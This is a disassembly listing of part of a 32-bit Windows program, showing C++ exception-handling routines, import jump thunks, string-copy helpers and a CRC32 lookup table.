sub_435650 proc near ; CODE XREF: sub_40CF0B+17p
; sub_40D18A+Ep
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_435650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_38]
call sub_40CDBA
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_4356B0
push offset dword_4393F0
lea edx, [ebp+var_28]
push edx
call sub_435F60
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_435650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4356B0 proc near ; CODE XREF: sub_435650+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_435530
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_438FF0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4356B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4356E0 proc near ; CODE XREF: sub_435730+Ap
; DATA XREF: .nsp0:004393F4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_438FF0
mov ecx, [ebp+var_4]
call sub_435470
mov esp, ebp
pop ebp
retn
sub_4356E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435700 proc near ; DATA XREF: .nsp0:00438FF8o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_435760
push offset dword_4393F0
lea ecx, [ebp+var_1C]
push ecx
call sub_435F60
mov esp, ebp
pop ebp
retn
sub_435700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435730 proc near ; DATA XREF: .nsp0:off_438FF0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4356E0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_435755
mov ecx, [ebp+var_4]
push ecx
call sub_41D860
add esp, 4
loc_435755: ; CODE XREF: sub_435730+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_435730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435760 proc near ; CODE XREF: sub_435700+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4353B0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_438FF0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_435760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435790 proc near ; DATA XREF: .nsp0:0043A014o
push ebp
mov ebp, esp
call sub_40D359
call sub_4357B0
call sub_4357D0
call sub_435800
pop ebp
retn
sub_435790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4357B0 proc near ; CODE XREF: sub_435790+8p
push ebp
mov ebp, esp
push offset nullsub_1
call sub_41D9F0
add esp, 4
pop ebp
retn
sub_4357B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4357D0 proc near ; CODE XREF: sub_435790+Dp
push ebp
mov ebp, esp
xor eax, eax
mov al, byte_4F0FBC
and eax, 1
test eax, eax
jnz short loc_4357F0
mov cl, byte_4F0FBC
or cl, 1
mov byte_4F0FBC, cl
loc_4357F0: ; CODE XREF: sub_4357D0+Fj
pop ebp
retn
sub_4357D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435800 proc near ; CODE XREF: sub_435790+12p
push ebp
mov ebp, esp
push offset sub_435820
call sub_41D9F0
add esp, 4
pop ebp
retn
sub_435800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435820 proc near ; DATA XREF: sub_435800+3o
push ebp
mov ebp, esp
pop ebp
retn
sub_435820 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_435826 proc near ; CODE XREF: sub_40D46C+6Fp
jmp dword_4F14C4
sub_435826 endp
; ---------------------------------------------------------------------------
jmp dword_4F151C
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_435832 proc near ; CODE XREF: sub_40C736+5Ep
; sub_40E4A5+14Ap ...
jmp dword_4F1518
sub_435832 endp
; ---------------------------------------------------------------------------
jmp dword_4F1514
; ---------------------------------------------------------------------------
jmp dword_4F1510
; ---------------------------------------------------------------------------
jmp dword_4F150C
; ---------------------------------------------------------------------------
jmp dword_4F1508
; ---------------------------------------------------------------------------
jmp dword_4F1504
; ---------------------------------------------------------------------------
jmp dword_4F1500
; ---------------------------------------------------------------------------
jmp dword_4F14FC
; ---------------------------------------------------------------------------
jmp dword_4F14F8
; ---------------------------------------------------------------------------
jmp dword_4F1520
; ---------------------------------------------------------------------------
jmp dword_4F14F0
; ---------------------------------------------------------------------------
jmp dword_4F14EC
; ---------------------------------------------------------------------------
jmp dword_4F14E8
; ---------------------------------------------------------------------------
jmp dword_4F14E4
; ---------------------------------------------------------------------------
jmp dword_4F14E0
; ---------------------------------------------------------------------------
jmp dword_4F14DC
; ---------------------------------------------------------------------------
jmp dword_4F14D8
; ---------------------------------------------------------------------------
jmp dword_4F14D4
; ---------------------------------------------------------------------------
jmp dword_4F14D0
; ---------------------------------------------------------------------------
jmp dword_4F14CC
; ---------------------------------------------------------------------------
jmp dword_4F14F4
; ---------------------------------------------------------------------------
jmp dword_4F1320
; ---------------------------------------------------------------------------
jmp dword_4F1324
; ---------------------------------------------------------------------------
jmp dword_4F1328
; ---------------------------------------------------------------------------
jmp dword_4F132C
; ---------------------------------------------------------------------------
jmp dword_4F1330
; ---------------------------------------------------------------------------
jmp dword_4F1334
; ---------------------------------------------------------------------------
jmp dword_4F1338
; ---------------------------------------------------------------------------
jmp dword_4F133C
; ---------------------------------------------------------------------------
jmp dword_4F1340
; ---------------------------------------------------------------------------
jmp dword_4F1344
; ---------------------------------------------------------------------------
jmp dword_4F1348
; ---------------------------------------------------------------------------
jmp dword_4F134C
; ---------------------------------------------------------------------------
jmp dword_4F1350
; ---------------------------------------------------------------------------
jmp dword_4F1354
; ---------------------------------------------------------------------------
jmp dword_4F1358
; ---------------------------------------------------------------------------
jmp dword_4F135C
; ---------------------------------------------------------------------------
jmp dword_4F1360
; ---------------------------------------------------------------------------
jmp dword_4F1364
; ---------------------------------------------------------------------------
jmp dword_4F1368
; ---------------------------------------------------------------------------
jmp dword_4F136C
; ---------------------------------------------------------------------------
jmp dword_4F1370
; ---------------------------------------------------------------------------
jmp dword_4F1374
; ---------------------------------------------------------------------------
jmp dword_4F1378
; ---------------------------------------------------------------------------
jmp dword_4F137C
; ---------------------------------------------------------------------------
jmp dword_4F1380
; ---------------------------------------------------------------------------
jmp dword_4F1384
; ---------------------------------------------------------------------------
jmp dword_4F1388
; ---------------------------------------------------------------------------
jmp dword_4F138C
; ---------------------------------------------------------------------------
jmp dword_4F1390
; ---------------------------------------------------------------------------
jmp dword_4F1394
; ---------------------------------------------------------------------------
jmp dword_4F1398
; ---------------------------------------------------------------------------
jmp dword_4F139C
; ---------------------------------------------------------------------------
jmp dword_4F13A0
; ---------------------------------------------------------------------------
jmp dword_4F13A4
; ---------------------------------------------------------------------------
jmp dword_4F13A8
; ---------------------------------------------------------------------------
jmp dword_4F13AC
; ---------------------------------------------------------------------------
jmp dword_4F13B0
; ---------------------------------------------------------------------------
jmp dword_4F13B4
; ---------------------------------------------------------------------------
jmp dword_4F13B8
; ---------------------------------------------------------------------------
jmp dword_4F13BC
; ---------------------------------------------------------------------------
jmp dword_4F13C0
; ---------------------------------------------------------------------------
jmp dword_4F13C4
; ---------------------------------------------------------------------------
jmp dword_4F13C8
; ---------------------------------------------------------------------------
jmp dword_4F13CC
; ---------------------------------------------------------------------------
jmp dword_4F13D0
; ---------------------------------------------------------------------------
jmp dword_4F13D4
; ---------------------------------------------------------------------------
jmp dword_4F13D8
; ---------------------------------------------------------------------------
jmp dword_4F13DC
; ---------------------------------------------------------------------------
jmp dword_4F13E0
; ---------------------------------------------------------------------------
jmp dword_4F13E4
; ---------------------------------------------------------------------------
jmp dword_4F13E8
; ---------------------------------------------------------------------------
jmp dword_4F13EC
; ---------------------------------------------------------------------------
jmp dword_4F12BC
; ---------------------------------------------------------------------------
jmp dword_4F13F0
; ---------------------------------------------------------------------------
jmp dword_4F13F4
; ---------------------------------------------------------------------------
jmp dword_4F13F8
; ---------------------------------------------------------------------------
jmp dword_4F13FC
; ---------------------------------------------------------------------------
jmp dword_4F1400
; ---------------------------------------------------------------------------
jmp dword_4F1404
; ---------------------------------------------------------------------------
jmp dword_4F1408
; ---------------------------------------------------------------------------
jmp dword_4F140C
; ---------------------------------------------------------------------------
jmp dword_4F1410
; ---------------------------------------------------------------------------
jmp dword_4F1414
; ---------------------------------------------------------------------------
jmp dword_4F1418
; ---------------------------------------------------------------------------
jmp dword_4F141C
; ---------------------------------------------------------------------------
jmp dword_4F1420
; ---------------------------------------------------------------------------
jmp dword_4F1424
; ---------------------------------------------------------------------------
jmp dword_4F1428
; ---------------------------------------------------------------------------
jmp dword_4F142C
; ---------------------------------------------------------------------------
jmp dword_4F1430
; ---------------------------------------------------------------------------
jmp dword_4F1434
; ---------------------------------------------------------------------------
jmp dword_4F1438
; ---------------------------------------------------------------------------
jmp dword_4F143C
; ---------------------------------------------------------------------------
jmp dword_4F1440
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_435A6C proc near ; CODE XREF: sub_41D0A0+27p
; sub_41D410+13p
jmp dword_4F1444
sub_435A6C endp
; ---------------------------------------------------------------------------
jmp dword_4F1448
; ---------------------------------------------------------------------------
jmp dword_4F144C
; ---------------------------------------------------------------------------
jmp dword_4F1450
; ---------------------------------------------------------------------------
jmp dword_4F1454
; ---------------------------------------------------------------------------
jmp dword_4F1458
; ---------------------------------------------------------------------------
jmp dword_4F145C
; ---------------------------------------------------------------------------
jmp dword_4F1460
; ---------------------------------------------------------------------------
jmp dword_4F1464
; ---------------------------------------------------------------------------
jmp dword_4F1468
; ---------------------------------------------------------------------------
jmp dword_4F146C
; ---------------------------------------------------------------------------
jmp dword_4F1470
; ---------------------------------------------------------------------------
jmp dword_4F1474
; ---------------------------------------------------------------------------
jmp dword_4F1478
; ---------------------------------------------------------------------------
jmp dword_4F147C
; ---------------------------------------------------------------------------
jmp dword_4F1480
; ---------------------------------------------------------------------------
jmp dword_4F1484
; ---------------------------------------------------------------------------
jmp dword_4F1488
; ---------------------------------------------------------------------------
jmp dword_4F148C
; ---------------------------------------------------------------------------
jmp dword_4F1490
; ---------------------------------------------------------------------------
jmp dword_4F1494
; ---------------------------------------------------------------------------
jmp dword_4F1498
; ---------------------------------------------------------------------------
jmp dword_4F149C
; ---------------------------------------------------------------------------
jmp dword_4F14A0
; ---------------------------------------------------------------------------
jmp dword_4F14A4
; ---------------------------------------------------------------------------
jmp dword_4F14A8
; ---------------------------------------------------------------------------
jmp dword_4F14AC
; ---------------------------------------------------------------------------
jmp dword_4F14B0
; ---------------------------------------------------------------------------
jmp dword_4F14B4
; ---------------------------------------------------------------------------
jmp dword_4F14B8
; ---------------------------------------------------------------------------
jmp dword_4F14BC
; ---------------------------------------------------------------------------
jmp dword_4F131C
; ---------------------------------------------------------------------------
jmp dword_4F1318
; ---------------------------------------------------------------------------
jmp dword_4F1314
; ---------------------------------------------------------------------------
jmp dword_4F1310
; ---------------------------------------------------------------------------
jmp dword_4F130C
; ---------------------------------------------------------------------------
jmp dword_4F1308
; ---------------------------------------------------------------------------
jmp dword_4F1304
; ---------------------------------------------------------------------------
jmp dword_4F1300
; ---------------------------------------------------------------------------
jmp dword_4F12FC
; ---------------------------------------------------------------------------
jmp dword_4F12F8
; ---------------------------------------------------------------------------
jmp dword_4F12F4
; ---------------------------------------------------------------------------
jmp dword_4F12F0
; ---------------------------------------------------------------------------
jmp dword_4F12EC
; ---------------------------------------------------------------------------
jmp dword_4F12E8
; ---------------------------------------------------------------------------
jmp dword_4F12E4
; ---------------------------------------------------------------------------
jmp dword_4F12E0
; ---------------------------------------------------------------------------
jmp dword_4F12DC
; ---------------------------------------------------------------------------
jmp dword_4F12D8
; ---------------------------------------------------------------------------
jmp dword_4F12D4
; ---------------------------------------------------------------------------
jmp dword_4F12D0
; ---------------------------------------------------------------------------
jmp dword_4F12CC
; ---------------------------------------------------------------------------
jmp dword_4F12C8
; ---------------------------------------------------------------------------
jmp dword_4F12C4
; ---------------------------------------------------------------------------
jmp dword_4F12C0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435BC0 proc near ; CODE XREF: sub_415C6E+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_435BCE
xor eax, eax
jmp short loc_435C03
; ---------------------------------------------------------------------------
loc_435BCE: ; CODE XREF: sub_435BC0+8j
mov eax, [ebp+arg_0]
push eax
call sub_418D00
add esp, 4
add eax, 1
push eax
call sub_418ED0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_435C01
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41C300
add esp, 8
jmp short loc_435C03
; ---------------------------------------------------------------------------
loc_435C01: ; CODE XREF: sub_435BC0+2Dj
xor eax, eax
loc_435C03: ; CODE XREF: sub_435BC0+Cj
; sub_435BC0+3Fj
mov esp, ebp
pop ebp
retn
sub_435BC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_439000
mov ecx, [ebp-4]
mov dword ptr [ecx+4], 0
mov edx, [ebp-4]
mov dword ptr [edx+8], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435C40 proc near ; DATA XREF: .nsp0:off_439000o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_435DA0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_435C65
mov ecx, [ebp+var_4]
push ecx
call sub_41D860
add esp, 4
loc_435C65: ; CODE XREF: sub_435C40+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_435C40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435C70 proc near ; CODE XREF: sub_435530+2Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_439000
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_418D00
add esp, 4
add eax, 1
push eax
call sub_41D910
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+4], ecx
mov edx, [ebp+var_8]
cmp dword ptr [edx+4], 0
jz short loc_435CC6
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call sub_41C300
add esp, 8
loc_435CC6: ; CODE XREF: sub_435C70+3Fj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+8], 1
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_435C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435CE0 proc near ; CODE XREF: sub_4353B0+23p
; .nsp0:00435D8Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_439000
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_435D4F
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_418D00
add esp, 4
add eax, 1
push eax
call sub_41D910
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [ecx+4], edx
mov eax, [ebp+var_8]
cmp dword ptr [eax+4], 0
jz short loc_435D4D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
push ecx
call sub_41C300
add esp, 8
loc_435D4D: ; CODE XREF: sub_435CE0+55j
jmp short loc_435D5B
; ---------------------------------------------------------------------------
loc_435D4F: ; CODE XREF: sub_435CE0+25j
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [edx+4], ecx
loc_435D5B: ; CODE XREF: sub_435CE0:loc_435D4Dj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_435CE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp eax, [ebp+8]
jz short loc_435D93
mov ecx, [ebp-4]
call sub_435DA0
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-4]
call sub_435CE0
loc_435D93: ; CODE XREF: .nsp0:00435D7Dj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435DA0 proc near ; CODE XREF: sub_435470+41p
; sub_435C40+Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_439000
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_435DD0
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41D860
add esp, 4
loc_435DD0: ; CODE XREF: sub_435DA0+19j
mov esp, ebp
pop ebp
retn
sub_435DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435DE0 proc near ; DATA XREF: .nsp0:00439004o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_435DF8
mov ecx, [ebp+var_4]
mov eax, [ecx+4]
jmp short loc_435DFD
; ---------------------------------------------------------------------------
loc_435DF8: ; CODE XREF: sub_435DE0+Ej
mov eax, offset aUnknownExcepti ; "Unknown exception"
loc_435DFD: ; CODE XREF: sub_435DE0+16j
mov esp, ebp
pop ebp
retn
sub_435DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435E10 proc near ; CODE XREF: sub_435E50+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_439020
push 1Bh
call sub_41FB40
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_435E42
mov edx, [ebp+var_4]
mov eax, [edx+4]
push eax
call sub_41FFC0
add esp, 4
loc_435E42: ; CODE XREF: sub_435E10+21j
push 1Bh
call sub_41FBE0
add esp, 4
mov esp, ebp
pop ebp
retn
sub_435E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435E50 proc near ; DATA XREF: .nsp0:off_439020o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_435E10
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_435E75
mov ecx, [ebp+var_4]
push ecx
call sub_41D860
add esp, 4
loc_435E75: ; CODE XREF: sub_435E50+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_435E50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41C4C0
add esp, 8
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41C4C0
add esp, 8
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41C4C0
add esp, 8
xor edx, edx
test eax, eax
setnle dl
mov eax, edx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_439020
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435F60 proc near ; CODE XREF: sub_435350+48p
; sub_435440+1Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push esi
push edi
mov ecx, 8
mov esi, offset dword_439028
lea edi, [ebp+var_20]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_20]
push edx
call dword_4F14BC ; RaiseException
pop edi
pop esi
mov esp, ebp
pop ebp
retn 8
sub_435F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_435FB0 proc near ; DATA XREF: .nsp0:004391F4o
lea ecx, [ebp-38h]
jmp sub_40CDDD
sub_435FB0 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_435FCE
mov ecx, [ebp+8]
jmp sub_40CDDD
; ---------------------------------------------------------------------------
locret_435FCE: ; CODE XREF: .nsp0:00435FC0j
retn
; ---------------------------------------------------------------------------
loc_435FCF: ; DATA XREF: sub_40C972o
mov eax, offset dword_4391C8
jmp sub_41D100
; ---------------------------------------------------------------------------
lea ecx, [ebp+14h]
jmp sub_40CDDD
; ---------------------------------------------------------------------------
loc_435FE1: ; DATA XREF: .nsp0:00439224o
lea ecx, [ebp-1Ch]
jmp sub_40CDDD
; ---------------------------------------------------------------------------
loc_435FE9: ; DATA XREF: sub_40CAE9o
mov eax, offset dword_4391F8
jmp sub_41D100
; ---------------------------------------------------------------------------
align 4
loc_435FF4: ; DATA XREF: sub_40D21Ao
mov eax, offset dword_439228
jmp sub_41D100
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40CDDD
retn
; =============== S U B R O U T I N E =======================================
SEH_435350 proc near ; DATA XREF: sub_435350+5o
mov eax, offset dword_439300
jmp sub_41D100
SEH_435350 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_435DA0
retn
; =============== S U B R O U T I N E =======================================
SEH_4353B0 proc near ; DATA XREF: sub_4353B0+5o
mov eax, offset dword_439328
jmp sub_41D100
SEH_4353B0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_435DA0
retn
; =============== S U B R O U T I N E =======================================
SEH_435470 proc near ; DATA XREF: sub_435470+5o
mov eax, offset dword_439370
jmp sub_41D100
SEH_435470 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
call sub_435DA0
retn
; =============== S U B R O U T I N E =======================================
SEH_435530 proc near ; DATA XREF: sub_435530+5o
mov eax, offset dword_439398
jmp sub_41D100
SEH_435530 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40CDDD
retn
; =============== S U B R O U T I N E =======================================
SEH_435650 proc near ; DATA XREF: sub_435650+5o
mov eax, offset dword_439400
jmp sub_41D100
SEH_435650 endp
; ---------------------------------------------------------------------------
align 4
dd 3E2h dup(0)
dword_43701C dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
